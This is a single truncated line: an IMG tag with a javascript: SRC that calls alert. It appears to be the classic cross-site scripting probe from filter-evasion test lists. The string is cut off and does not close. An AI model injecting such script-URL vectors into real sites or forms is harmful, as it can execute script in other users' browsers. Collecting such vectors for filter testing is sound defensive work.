<IMG SRC="javascript:alert('XS